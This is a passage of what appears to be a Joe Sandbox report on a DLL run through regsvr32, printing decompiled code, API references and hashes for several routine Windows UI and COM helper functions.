					_v272 =  *((intOrPtr*)(_t72 + 0xc));
					 *_t100 =  *((intOrPtr*)(_t72 + 8));
					 *((intOrPtr*)(_t100 + 0x10)) =  *((intOrPtr*)(_t72 + 0x10));
					 *((intOrPtr*)(_t100 + 0x1c)) =  *((intOrPtr*)(_t72 + 0x1c));
					_t64 =  *((intOrPtr*)(_t72 + 0x14));
					_t111 =  *((intOrPtr*)(_t64 - 0xc));
					if( *((intOrPtr*)(_t64 - 0xc)) != 0) {
						 *((intOrPtr*)(_t100 + 0xc)) =  *_t97( *((intOrPtr*)(E6EB4922C(_t72,  &_v268, _t97, _t100, _t111))), _t64);
						L6EB41020(_v268 + 0xfffffff0, _t95);
					}
					_t73 =  *((intOrPtr*)(_t72 + 0x18));
					_t113 =  *((intOrPtr*)(_t73 - 0xc));
					if( *((intOrPtr*)(_t73 - 0xc)) != 0) {
						 *((intOrPtr*)(_t100 + 4)) =  *_t97( *((intOrPtr*)(E6EB4922C(_t73,  &_v268, _t97, _t100, _t113))), _t73);
						L6EB41020(_v268 + 0xfffffff0, _t95);
					}
				}
				 *((intOrPtr*)(_t100 + 8)) =  *_t97( *((intOrPtr*)(E6EB4922C(_t73,  &_v268, _t97, _t100, _t113))), _v272);
				_t51 = L6EB41020(_v268 + 0xfffffff0, _t95);
				_t114 =  *((intOrPtr*)(_t100 + 4));
				if( *((intOrPtr*)(_t100 + 4)) == 0) {
					 *((intOrPtr*)(_t100 + 4)) =  *_t97( *((intOrPtr*)(E6EB4922C(0,  &_v268, _t97, _t100, _t114))),  *((intOrPtr*)(E6EB53D20(0, _t97, _t100, _t114) + 0x10)));
					_t51 = L6EB41020(_v268 + 0xfffffff0, _t95);
				}
				if( *((intOrPtr*)(_t100 + 0xc)) == 0) {
					_t117 =  *((intOrPtr*)(_t100 + 0x10));
					if( *((intOrPtr*)(_t100 + 0x10)) != 0) {
						 *((intOrPtr*)(_t100 + 0xc)) =  *_t97( *((intOrPtr*)(E6EB4922C(0,  &_v268, _t97, _t100, _t117))),  *((intOrPtr*)( *((intOrPtr*)(E6EB53D20(0, _t97, _t100, _t117) + 4)) + 0x64)));
						_t51 = L6EB41020(_v268 + 0xfffffff0, _t95);
					}
				}
				_pop(_t98);
				_pop(_t101);
				_pop(_t75);
				return E6EB63DE0(_t51, _t75, _v8 ^ _t103, _t95, _t98, _t101);
			}

0x6eb61cd4
0x6eb61cd7
0x6eb61cdf
0x6eb61ce6
0x6eb61cea
0x6eb61cee
0x6eb61cf1
0x6eb61cf7
0x6eb61d0c
0x6eb61d12
0x6eb61d17
0x6eb61d1f
0x6eb61d98
0x6eb61d9a
0x6eb61d9f
0x6eb61da1
0x6eb61dac
0x6eb61dad
0x6eb61db2
0x6eb61db4
0x6eb61db4
0x6eb61db4
0x6eb61db7
0x6eb61db8
0x6eb61dbd
0x6eb61d21
0x6eb61d24
0x6eb61d2e
0x6eb61d34
0x6eb61d3a
0x6eb61d3d
0x6eb61d40
0x6eb61d44
0x6eb61d5f
0x6eb61d62
0x6eb61d62
0x6eb61d67
0x6eb61d6a
0x6eb61d6e
0x6eb61d89
0x6eb61d8c
0x6eb61d8c
0x6eb61d6e
0x6eb61dde
0x6eb61de1
0x6eb61de8
0x6eb61deb
0x6eb61e0d
0x6eb61e10
0x6eb61e10
0x6eb61e18
0x6eb61e1a
0x6eb61e1d
0x6eb61e42
0x6eb61e45
0x6eb61e45
0x6eb61e1d
0x6eb61e4d
0x6eb61e4e
0x6eb61e51
0x6eb61e58

APIs

_memset.LIBCMT ref: 6EB61CF7
SysAllocString.OLEAUT32(00000000), ref: 6EB61D54
SysAllocString.OLEAUT32(00000000), ref: 6EB61D7E

Part of subcall function 6EB4922C: __EH_prolog3.LIBCMT ref: 6EB49233

SysAllocString.OLEAUT32(00000000), ref: 6EB61DD3
SysAllocString.OLEAUT32(00000000), ref: 6EB61E02
SysAllocString.OLEAUT32(00000000), ref: 6EB61E37

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AllocString$H_prolog3_memset
String ID:
API String ID: 842698744-0
Opcode ID: 68933fe21b31f9487927ac1e3e5a134f5bdfa81ad80bb4a68db0bb825c45b105
Instruction ID: eeffa4b921d77cc58957c4dde7453522b22d894132732a8055f13e6458d1bef8
Opcode Fuzzy Hash: 68933fe21b31f9487927ac1e3e5a134f5bdfa81ad80bb4a68db0bb825c45b105
Instruction Fuzzy Hash: C8417F70910289DFCB20DFB4CC80BDEBBB9EF55318F0049A9E59A972A5DB709994CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6EB487EC Relevance: 9.1, APIs: 6, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB487EC(struct HWND__* _a4, struct HWND__** _a8) {
				struct HWND__* _t8;
				void* _t14;
				struct HWND__** _t16;
				struct HWND__* _t17;
				struct HWND__* _t18;

				_t18 = _a4;
				if(_t18 != 0) {
					L5:
					if((GetWindowLongA(_t18, 0xfffffff0) & 0x40000000) == 0) {
						L8:
						_t17 = _t18;
						_t8 = _t18;
						if(_t18 == 0) {
							L10:
							if(_a4 == 0 && _t18 != 0) {
								_t18 = GetLastActivePopup(_t18);
							}
							_t16 = _a8;
							if(_t16 != 0) {
								if(_t17 == 0 || IsWindowEnabled(_t17) == 0 || _t17 == _t18) {
									 *_t16 =  *_t16 & 0x00000000;
								} else {
									 *_t16 = _t17;
									EnableWindow(_t17, 0);
								}
							}
							return _t18;
						} else {
							goto L9;
						}
						do {
							L9:
							_t17 = _t8;
							_t8 = GetParent(_t8);
						} while (_t8 != 0);
						goto L10;
					}
					_t18 = GetParent(_t18);
					L7:
					if(_t18 != 0) {
						goto L5;
					}
					goto L8;
				}
				_t14 = E6EB486FD();
				if(_t14 != 0) {
					L4:
					_t18 =  *(_t14 + 0x20);
					goto L7;
				}
				_t14 = E6EB487A0();
				if(_t14 != 0) {
					goto L4;
				}
				_t18 = 0;
				goto L8;
			}

0x6eb487f9
0x6eb487ff
0x6eb4881c
0x6eb4882a
0x6eb48835
0x6eb48835
0x6eb48837
0x6eb4883b
0x6eb48846
0x6eb4884a
0x6eb48857
0x6eb48857
0x6eb48859
0x6eb4885e
0x6eb48862
0x6eb48880
0x6eb48873
0x6eb48876
0x6eb48878
0x6eb48878
0x6eb48862
0x6eb48889
0x00000000
0x00000000
0x00000000
0x6eb4883d
0x6eb4883d
0x6eb4883e
0x6eb48840
0x6eb48842
0x00000000
0x6eb4883d
0x6eb4882f
0x6eb48831
0x6eb48833
0x00000000
0x00000000
0x00000000
0x6eb48833
0x6eb48801
0x6eb48808
0x6eb48817
0x6eb48817
0x00000000
0x6eb48817
0x6eb4880a
0x6eb48811
0x00000000
0x00000000
0x6eb48813
0x00000000

APIs

GetWindowLongA.USER32 ref: 6EB4881F
GetParent.USER32(?), ref: 6EB4882D
GetParent.USER32(?), ref: 6EB48840
GetLastActivePopup.USER32(?), ref: 6EB48851
IsWindowEnabled.USER32(?), ref: 6EB48865
EnableWindow.USER32(?,00000000), ref: 6EB48878

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: 8a315c542724a7dfcabb26a829fc0f25be9b75f5bd5d8a11222a3aad8baf5397
Instruction ID: cc1f4aea1bf08c867ef617ad0620ea5d5c4d838376e00a119b0ab3127635c74e
Opcode Fuzzy Hash: 8a315c542724a7dfcabb26a829fc0f25be9b75f5bd5d8a11222a3aad8baf5397
Instruction Fuzzy Hash: FD11E7325116B2DBDF631AE99880B5E7FA8EF55BA0F060120FC10E720CDB30C801A3E5

Uniqueness

Uniqueness Score: -1.00%

Function 6EB544B2 Relevance: 9.0, APIs: 6, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E6EB544B2(struct HWND__* _a4, struct tagPOINT _a8, intOrPtr _a12) {
				struct tagRECT _v20;
				struct HWND__* _t12;
				struct HWND__* _t21;

				ClientToScreen(_a4,  &_a8);
				_push(5);
				_push(_a4);
				while(1) {
					_t12 = GetWindow();
					_t21 = _t12;
					if(_t21 == 0) {
						break;
					}
					if(GetDlgCtrlID(_t21) != 0xffff && (GetWindowLongA(_t21, 0xfffffff0) & 0x10000000) != 0) {
						GetWindowRect(_t21,  &_v20);
						_push(_a12);
						if(PtInRect( &_v20, _a8) != 0) {
							return _t21;
						}
					}
					_push(2);
					_push(_t21);
				}
				return _t12;
			}

0x6eb544c3
0x6eb544cf
0x6eb544d1
0x6eb54516
0x6eb54516
0x6eb54518
0x6eb5451c
0x00000000
0x00000000
0x6eb544e2
0x6eb544f9
0x6eb544ff
0x6eb54511
0x00000000
0x6eb54524
0x6eb54511
0x6eb54513
0x6eb54515
0x6eb54515
0x6eb54521

APIs

ClientToScreen.USER32 ref: 6EB544C3
GetDlgCtrlID.USER32(00000000), ref: 6EB544D7
GetWindowLongA.USER32 ref: 6EB544E7
GetWindowRect.USER32 ref: 6EB544F9
PtInRect.USER32(?,?,?), ref: 6EB54509
GetWindow.USER32(?,00000005), ref: 6EB54516

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: 7f9d11508ae3358550d1c25e80cdc600a7570fa604ffbfd2ca4812e8789da3f7
Instruction ID: 31dac44a22a97fce611cffb16e063bb1bba6a0d16cf9fecd75780600097a51b2
Opcode Fuzzy Hash: 7f9d11508ae3358550d1c25e80cdc600a7570fa604ffbfd2ca4812e8789da3f7
Instruction Fuzzy Hash: 05018F32540565BBEF219EA4DC18EDE3B69EF43311F014021F911D32A0D730D6668B90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5D245 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 293
memoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E6EB5D245(signed int __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __eflags) {
				signed int _t127;
				signed int _t128;
				signed int* _t134;
				signed int* _t137;
				signed int _t138;
				signed int _t140;
				signed int* _t141;
				void* _t144;
				intOrPtr* _t148;
				signed int _t153;
				signed int _t154;
				signed int* _t156;
				signed int* _t158;
				intOrPtr* _t162;
				signed int _t163;
				signed int _t164;
				signed int _t167;
				signed int _t168;
				intOrPtr* _t170;
				void* _t171;
				signed int _t172;
				signed int _t176;
				signed int _t177;
				signed int _t184;
				signed int _t186;
				signed int* _t188;
				signed int* _t190;
				signed int* _t193;
				signed int _t194;
				signed int _t205;
				signed int _t207;
				void* _t249;
				intOrPtr* _t253;
				void* _t254;
				void* _t262;
				void* _t265;

				_t192 = __ebx;
				_push(0x94);
				E6EB66564(0x6eb78072, __ebx, __edi, __esi);
				_t253 = __ecx;
				 *(_t254 - 0x88) =  *(__ecx + 0x14);
				 *(_t254 - 0x80) =  *(__ecx + 0x10);
				if( *((intOrPtr*)(__ecx + 0x48)) == 0) {
					_t127 =  *(__ecx + 8);
					__eflags = _t127;
					if(_t127 != 0) {
						_t128 =  *((intOrPtr*)( *_t127 + 0xc))(_t127, 0x6eb7e104, _t254 - 0x78, _t254 - 0x7c);
						__eflags = _t128;
						if(_t128 >= 0) {
							E6EB59E0A(_t254 - 0x70, 0x6eb7e834);
							 *(_t254 - 0x50) =  *(_t254 - 0x50) | 0xffffffff;
							 *((intOrPtr*)(_t254 - 0x58)) = 0;
							 *((intOrPtr*)(_t254 - 0x54)) = 0;
							 *((intOrPtr*)(_t254 - 0x4c)) = 0x18;
							 *((intOrPtr*)(_t254 - 0x48)) = 0;
							 *((intOrPtr*)(_t254 - 0x44)) = 0x1fb;
							E6EB59E0A(_t254 - 0x40, 0x6eb7e84c);
							_t134 =  *(_t254 - 0x78);
							 *(_t254 - 0x20) =  *(_t254 - 0x20) | 0xffffffff;
							 *((intOrPtr*)(_t254 - 0x28)) = 0x1c;
							 *((intOrPtr*)(_t254 - 0x24)) = 0;
							 *((intOrPtr*)(_t254 - 0x1c)) = 0x20;
							 *((intOrPtr*)(_t254 - 0x18)) = 0;
							 *((intOrPtr*)(_t254 - 0x14)) = 0x1e;
							_t192 =  *((intOrPtr*)( *_t134 + 0x10))(_t134, 2, _t254 - 0x70, 0x28, 0);
							__eflags = _t192;
							if(_t192 >= 0) {
								 *(_t254 - 0xa0) =  *(_t254 - 0x7c);
								_t137 =  *(_t254 - 0x78);
								 *((intOrPtr*)(_t254 - 0x9c)) = 1;
								 *(_t254 - 0x98) = 0;
								 *((intOrPtr*)(_t254 - 0x94)) = 0;
								 *((intOrPtr*)(_t254 - 0x90)) = 0;
								_t192 =  *_t137;
								_t138 =  *((intOrPtr*)( *_t137 + 0x18))(_t137, 0, 0, _t254 - 0xa0);
								__eflags = _t138;
								 *(_t254 - 0x84) = _t138;
								if(_t138 >= 0) {
									 *(_t253 + 0x14) =  *(_t254 - 0x98);
									_t140 =  *(_t254 - 0x8c);
									 *(_t254 - 0x7c) = _t140;
									 *(_t253 + 0x10) = _t140;
									_t141 =  *(_t254 - 0x78);
									 *((intOrPtr*)(_t253 + 0x34)) =  *((intOrPtr*)(_t254 - 0x94));
									 *((intOrPtr*)( *_t141 + 8))(_t141);
									goto L27;
								} else {
									_t156 =  *(_t254 - 0x78);
									 *((intOrPtr*)( *_t156 + 8))(_t156);
								}
								goto L45;
							} else {
								_t158 =  *(_t254 - 0x78);
								 *((intOrPtr*)( *_t158 + 8))(_t158);
							}
						}
					} else {
					}
				} else {
					_t162 =  *((intOrPtr*)(__ecx + 0x4c));
					_t163 =  *((intOrPtr*)( *_t162 + 0x14))(_t162, 0x6eb7e334, _t254 - 0x74);
					 *(_t254 - 0x84) = _t163;
					if(_t163 >= 0) {
						_t164 =  *(_t254 - 0x74);
						_push(_t254 - 0x7c);
						_push(0x6eb7e1d4);
						_push(_t164);
						if( *((intOrPtr*)( *_t164))() >= 0) {
							_t184 =  *(_t254 - 0x7c);
							_push(_t254 - 0x78);
							_push(0x6eb7e454);
							 *(_t254 - 0x78) = 0;
							_push(_t184);
							if( *((intOrPtr*)( *_t184 + 0x10))() >= 0) {
								_t188 =  *(_t254 - 0x78);
								_t249 =  *((intOrPtr*)(__ecx + 4)) + 0xe8;
								_t262 = _t249;
								 *((intOrPtr*)( *_t188 + 0x14))(_t188, _t249, __ecx + 0x58);
								_t190 =  *(_t254 - 0x78);
								 *((intOrPtr*)( *_t190 + 8))(_t190);
							}
							_t186 =  *(_t254 - 0x7c);
							 *((intOrPtr*)( *_t186 + 8))(_t186);
						}
						if(E6EB47C96(_t262, 0x14) == 0) {
							_t167 = 0;
							__eflags = 0;
						} else {
							_t167 = E6EB5CA65(_t166,  *(_t254 - 0x74));
						}
						 *((intOrPtr*)(_t253 + 0x50)) = _t167;
						_t168 =  *(_t254 - 0x74);
						 *((intOrPtr*)( *_t168 + 8))(_t168);
						_t170 =  *((intOrPtr*)(_t253 + 0x50));
						_t221 =  *_t170;
						if( *_t170 != 0) {
							_t265 = _t170 + 4;
							E6EB5A09F(_t221, _t170 + 4);
						}
						_t171 = E6EB47C96(_t265, 0x28);
						_t266 = _t171;
						if(_t171 == 0) {
							_t172 = 0;
							__eflags = 0;
						} else {
							_t172 = E6EB58C1D(_t171, 0, 0x1f40);
						}
						 *((intOrPtr*)(_t253 + 0x54)) = _t172;
						_push( *((intOrPtr*)( *((intOrPtr*)(_t253 + 0x50)))));
						E6EB5CC08(_t192, _t172, 0, _t253, _t266);
						 *((intOrPtr*)( *((intOrPtr*)(_t253 + 0x50)) + 8)) =  *((intOrPtr*)(_t253 + 0x54));
						_t176 =  *( *((intOrPtr*)(_t253 + 0x54)) + 0xc);
						 *(_t253 + 0x10) = _t176;
						if(_t176 <= 0x3333333) {
							_t177 = _t176 * 0x28;
							__imp__CoTaskMemAlloc(_t177);
							__eflags = _t177;
							_t226 = 0 | __eflags != 0x00000000;
							 *(_t253 + 0x14) = _t177;
							__eflags = __eflags != 0;
							if(__eflags == 0) {
								_t177 = E6EB48B6C(_t192, _t226, 0, _t253, __eflags);
							}
							E6EB65E80(0, _t177, 0,  *(_t253 + 0x10) * 0x28);
							E6EB5CA8C( *((intOrPtr*)(_t253 + 0x50)));
							L6EB5A006( *((intOrPtr*)(_t253 + 0x50)));
							L27:
							__eflags =  *(_t253 + 0x10);
							 *(_t254 - 0x74) = 0;
							if( *(_t253 + 0x10) > 0) {
								_t194 = 0;
								__eflags = 0;
								do {
									_t153 = E6EB47C96(__eflags, 0x1c);
									 *(_t254 - 0x7c) = _t153;
									 *(_t254 - 4) = 0;
									__eflags = _t153;
									if(_t153 == 0) {
										_t154 = 0;
										__eflags = 0;
									} else {
										_t154 = E6EB56779(_t153, 0xa);
									}
									 *(_t254 - 4) =  *(_t254 - 4) | 0xffffffff;
									 *(_t254 - 0x74) =  *(_t254 - 0x74) + 1;
									 *((intOrPtr*)(_t194 +  *(_t253 + 0x14) + 0x24)) = _t154;
									_t194 = _t194 + 0x28;
									__eflags =  *(_t254 - 0x74) -  *(_t253 + 0x10);
								} while (__eflags < 0);
							}
							_t192 =  *(_t254 - 0x88);
							__eflags = _t192;
							if(_t192 != 0) {
								__eflags =  *(_t254 - 0x80);
								if( *(_t254 - 0x80) > 0) {
									_t144 = 0xffffffdc;
									_t193 = _t192 + 0x24;
									 *(_t254 - 0x74) =  *(_t254 - 0x80);
									 *(_t254 - 0x7c) = _t144 -  *(_t254 - 0x88);
									while(1) {
										_t205 =  *( *_t193 + 4);
										 *(_t254 - 0x80) = _t205;
										__eflags = _t205;
										if(_t205 == 0) {
											goto L41;
										}
										while(1) {
											_t148 = E6EB4ABF2(_t254 - 0x80);
											 *((intOrPtr*)( *_t253 + 8))( *_t148, 1);
											__eflags =  *(_t254 - 0x80);
											if( *(_t254 - 0x80) == 0) {
												goto L41;
											}
										}
										L41:
										E6EB56691( *_t193);
										_t207 =  *_t193;
										__eflags = _t207;
										if(_t207 != 0) {
											 *((intOrPtr*)( *_t207 + 4))(1);
										}
										_t193 =  &(_t193[0xa]);
										_t119 = _t254 - 0x74;
										 *_t119 =  *(_t254 - 0x74) - 1;
										__eflags =  *_t119;
										if( *_t119 != 0) {
											continue;
										}
										goto L44;
									}
								}
								L44:
								__imp__CoTaskMemFree( *(_t254 - 0x88));
							}
							L45:
						} else {
						}
					}
				}
				return E6EB665E7(_t192, 0, _t253);
			}

0x6eb5d245
0x6eb5d245
0x6eb5d24f
0x6eb5d254
0x6eb5d259
0x6eb5d264
0x6eb5d26a
0x6eb5d3b2
0x6eb5d3b5
0x6eb5d3b7
0x6eb5d3d0
0x6eb5d3d3
0x6eb5d3d5
0x6eb5d3e6
0x6eb5d3eb
0x6eb5d3fa
0x6eb5d3fd
0x6eb5d400
0x6eb5d407
0x6eb5d40a
0x6eb5d411
0x6eb5d416
0x6eb5d419
0x6eb5d426
0x6eb5d42d
0x6eb5d430
0x6eb5d437
0x6eb5d43a
0x6eb5d447
0x6eb5d449
0x6eb5d44b
0x6eb5d46a
0x6eb5d470
0x6eb5d476
0x6eb5d480
0x6eb5d486
0x6eb5d48c
0x6eb5d492
0x6eb5d495
0x6eb5d498
0x6eb5d49a
0x6eb5d4a0
0x6eb5d4bc
0x6eb5d4bf
0x6eb5d4c5
0x6eb5d4c8
0x6eb5d4cb
0x6eb5d4ce
0x6eb5d4d4
0x00000000
0x6eb5d4a2
0x6eb5d4a2
0x6eb5d4a8
0x6eb5d4a8
0x00000000
0x6eb5d44d
0x6eb5d44d
0x6eb5d453
0x6eb5d456
0x6eb5d44b
0x6eb5d3b9
0x6eb5d3b9
0x6eb5d270
0x6eb5d270
0x6eb5d27f
0x6eb5d284
0x6eb5d28a
0x6eb5d290
0x6eb5d298
0x6eb5d299
0x6eb5d29e
0x6eb5d2a3
0x6eb5d2a5
0x6eb5d2ab
0x6eb5d2ac
0x6eb5d2b1
0x6eb5d2b6
0x6eb5d2bc
0x6eb5d2be
0x6eb5d2ca
0x6eb5d2ca
0x6eb5d2d2
0x6eb5d2d5
0x6eb5d2db
0x6eb5d2db
0x6eb5d2de
0x6eb5d2e4
0x6eb5d2e4
0x6eb5d2f1
0x6eb5d2ff
0x6eb5d2ff
0x6eb5d2f3
0x6eb5d2f8
0x6eb5d2f8
0x6eb5d301
0x6eb5d304
0x6eb5d30a
0x6eb5d30d
0x6eb5d310
0x6eb5d314
0x6eb5d316
0x6eb5d31b
0x6eb5d31b
0x6eb5d322
0x6eb5d328
0x6eb5d32a
0x6eb5d33b
0x6eb5d33b
0x6eb5d32c
0x6eb5d334
0x6eb5d334
0x6eb5d340
0x6eb5d343
0x6eb5d347
0x6eb5d352
0x6eb5d358
0x6eb5d35b
0x6eb5d363
0x6eb5d36f
0x6eb5d373
0x6eb5d37b
0x6eb5d37d
0x6eb5d380
0x6eb5d383
0x6eb5d385
0x6eb5d387
0x6eb5d387
0x6eb5d395
0x6eb5d3a0
0x6eb5d3a8
0x6eb5d4d7
0x6eb5d4d7
0x6eb5d4da
0x6eb5d4dd
0x6eb5d4df
0x6eb5d4df
0x6eb5d4e1
0x6eb5d4e3
0x6eb5d4e9
0x6eb5d4ec
0x6eb5d4ef
0x6eb5d4f1
0x6eb5d4fe
0x6eb5d4fe
0x6eb5d4f3
0x6eb5d4f7
0x6eb5d4f7
0x6eb5d500
0x6eb5d507
0x6eb5d50a
0x6eb5d511
0x6eb5d514
0x6eb5d514
0x6eb5d4e1
0x6eb5d519
0x6eb5d51f
0x6eb5d521
0x6eb5d523
0x6eb5d526
0x6eb5d52d
0x6eb5d52e
0x6eb5d537
0x6eb5d53a
0x6eb5d542
0x6eb5d544
0x6eb5d547
0x6eb5d54a
0x6eb5d54c
0x00000000
0x00000000
0x6eb5d553
0x6eb5d560
0x6eb5d56e
0x6eb5d571
0x6eb5d574
0x00000000
0x00000000
0x6eb5d550
0x6eb5d576
0x6eb5d578
0x6eb5d57d
0x6eb5d57f
0x6eb5d581
0x6eb5d587
0x6eb5d587
0x6eb5d58a
0x6eb5d58d
0x6eb5d58d
0x6eb5d58d
0x6eb5d590
0x00000000
0x6eb5d53f
0x00000000
0x6eb5d590
0x6eb5d542
0x6eb5d592
0x6eb5d598
0x6eb5d598
0x6eb5d59e
0x6eb5d365
0x6eb5d365
0x6eb5d363
0x6eb5d28a
0x6eb5d5a9

APIs

__EH_prolog3_GS.LIBCMT ref: 6EB5D24F
CoTaskMemAlloc.OLE32(?,?), ref: 6EB5D373
_memset.LIBCMT ref: 6EB5D395
CoTaskMemFree.OLE32(?), ref: 6EB5D598

Strings

, xrefs: 6EB5D430

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Task$AllocFreeH_prolog3__memset
String ID:
API String ID: 3303116700-3916222277
Opcode ID: 9b5c9b4cc1ec0ffe2ace5a4485d12ce33bb5e163e819e9c5a9ce28bb63286ed8
Instruction ID: a9c3ee633095833dc50a7748413c7eaba6867b59a9ea722e9d4a344d868e1e5f
Opcode Fuzzy Hash: 9b5c9b4cc1ec0ffe2ace5a4485d12ce33bb5e163e819e9c5a9ce28bb63286ed8
Instruction Fuzzy Hash: F8C12870A106459FDB24CFE8D894A9EBBB5FF88308F208A5DE016EB355DB71A941CF10

Uniqueness

Uniqueness Score: -1.00%

Function 6EB48202 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6EB48202(void* __edx) {
				signed int _v8;
				void _v136;
				int _v140;
				int _v144;
				char _v148;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t21;
				unsigned int _t23;
				char* _t35;
				struct HBITMAP__* _t37;
				unsigned int _t40;
				signed short _t42;
				void* _t46;
				int _t47;
				unsigned int _t49;
				void* _t52;
				signed char* _t53;
				void* _t54;
				signed int _t58;
				void* _t59;
				void* _t60;
				signed int _t62;
				void* _t63;
				void* _t64;
				signed int _t66;
				signed int _t68;

				_t52 = __edx;
				_t66 = _t68;
				_t21 =  *0x6eb89470; // 0x6287ae78
				_v8 = _t21 ^ _t66;
				_push(_t60);
				_push(_t54);
				_t23 = GetMenuCheckMarkDimensions();
				_t47 = _t23;
				_t40 = _t23 >> 0x10;
				_v144 = _t47;
				_v140 = _t40;
				if(_t47 <= 4) {
					L3:
					E6EB48BA4(_t40, _t47, _t54, _t60, _t73);
				} else {
					_t73 = _t40 - 5;
					if(_t40 <= 5) {
						goto L3;
					}
				}
				if(_t47 > 0x20) {
					_t47 = 0x20;
					_v144 = _t47;
				}
				asm("cdq");
				_t62 = _t47 + 0xf >> 4;
				_t58 = (_t47 - 4 - _t52 >> 1) + (_t62 << 4) - _t47;
				if(_t58 > 0xc) {
					_t58 = 0xc;
				}
				if(_t40 > 0x20) {
					_t40 = 0x20;
					_v140 = _t40;
				}
				E6EB65E80(_t58,  &_v136, 0xff, 0x80);
				_t35 = _t66 + (_t40 - 6 >> 1) * _t62 * 2 - 0x84;
				_t53 = 0x6eb796cc;
				_t63 = _t62 + _t62;
				_v148 = 5;
				do {
					_t42 = ( *_t53 & 0x000000ff) << _t58;
					_t53 =  &(_t53[1]);
					_t49 =  !_t42 & 0x0000ffff;
					 *_t35 = _t49 >> 8;
					 *(_t35 + 1) = _t49;
					_t35 = _t35 + _t63;
					_t15 =  &_v148;
					 *_t15 = _v148 - 1;
				} while ( *_t15 != 0);
				_t37 = CreateBitmap(_v144, _v140, 1, 1,  &_v136);
				_pop(_t59);
				_pop(_t64);
				 *0x6eb8c940 = _t37;
				_pop(_t46);
				if(_t37 == 0) {
					 *0x6eb8c940 = _t37;
				}
				return E6EB63DE0(_t37, _t46, _v8 ^ _t66, _t53, _t59, _t64);
			}

0x6eb48202
0x6eb48205
0x6eb4820d
0x6eb48214
0x6eb48218
0x6eb48219
0x6eb4821a
0x6eb48220
0x6eb48229
0x6eb4822c
0x6eb48232
0x6eb48238
0x6eb4823f
0x6eb4823f
0x6eb4823a
0x6eb4823a
0x6eb4823d
0x00000000
0x00000000
0x6eb4823d
0x6eb48247
0x6eb4824b
0x6eb4824c
0x6eb4824c
0x6eb48255
0x6eb4825b
0x6eb48269
0x6eb4826e
0x6eb48272
0x6eb48272
0x6eb48276
0x6eb4827a
0x6eb4827b
0x6eb4827b
0x6eb48292
0x6eb482a2
0x6eb482a9
0x6eb482ae
0x6eb482b0
0x6eb482ba
0x6eb482c0
0x6eb482c3
0x6eb482c7
0x6eb482cf
0x6eb482d1
0x6eb482d4
0x6eb482d6
0x6eb482d6
0x6eb482d6
0x6eb482f5
0x6eb482fb
0x6eb482fc
0x6eb482fd
0x6eb48302
0x6eb48305
0x6eb48313
0x6eb48313
0x6eb48323

APIs

GetMenuCheckMarkDimensions.USER32 ref: 6EB4821A
_memset.LIBCMT ref: 6EB48292
CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 6EB482F5
LoadBitmapA.USER32 ref: 6EB4830D

Strings

, xrefs: 6EB48273

Memory Dump Source

